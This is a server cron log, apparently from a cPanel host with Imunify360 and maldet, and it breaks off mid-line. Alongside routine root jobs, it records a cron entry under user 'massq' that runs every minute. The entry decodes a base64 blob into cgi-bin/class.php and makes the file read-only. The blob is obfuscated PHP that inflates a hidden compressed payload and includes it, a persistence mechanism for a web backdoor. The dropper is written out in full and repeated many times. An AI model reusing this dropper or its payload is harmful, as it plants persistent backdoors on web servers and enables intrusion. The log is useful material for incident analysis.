Sep  5 01:50:01 server CROND[27761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:51:01 server CROND[28598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:51:01 server CROND[28597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:51:01 server CROND[28599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:52:01 server CROND[28975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:52:01 server CROND[28976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:52:01 server CROND[28977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:53:01 server CROND[29455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:53:01 server CROND[29456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:53:01 server CROND[29457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:54:01 server CROND[29836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:54:01 server CROND[29838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:54:01 server CROND[29837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:55:01 server CROND[30220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:55:01 server CROND[30221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:55:01 server CROND[30231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:55:01 server CROND[30233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:55:01 server CROND[30235]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:55:01 server CROND[30234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:55:01 server CROND[30237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:56:01 server CROND[31069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:56:01 server CROND[31068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:56:01 server CROND[31071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:57:01 server CROND[31451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:57:01 server CROND[31452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:57:01 server CROND[31453]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 01:57:01 server CROND[31455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:58:01 server CROND[31831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:58:01 server CROND[31832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:58:01 server CROND[31833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:59:01 server CROND[32206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:59:01 server CROND[32207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:59:01 server CROND[32208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:00:01 server CROND[32693]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:00:01 server CROND[32694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:00:01 server CROND[32697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:00:01 server CROND[32701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:00:01 server CROND[32706]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 02:00:01 server CROND[32700]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 02:00:01 server CROND[32702]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  5 02:00:01 server CROND[32705]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:00:01 server CROND[32704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:00:01 server CROND[32699]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:00:01 server CROND[32703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:01:01 server CROND[1208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:01:01 server CROND[1205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:01:01 server CROND[1207]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 02:01:01 server CROND[1210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:01:01 server run-parts(/etc/cron.hourly)[1207]: starting 0anacron
Sep  5 02:01:01 server anacron[1244]: Anacron started on 2026-09-05
Sep  5 02:01:01 server anacron[1244]: Normal exit (0 jobs run)
Sep  5 02:01:01 server run-parts(/etc/cron.hourly)[1246]: finished 0anacron
Sep  5 02:02:01 server CROND[1627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:02:01 server CROND[1628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:02:01 server CROND[1629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBq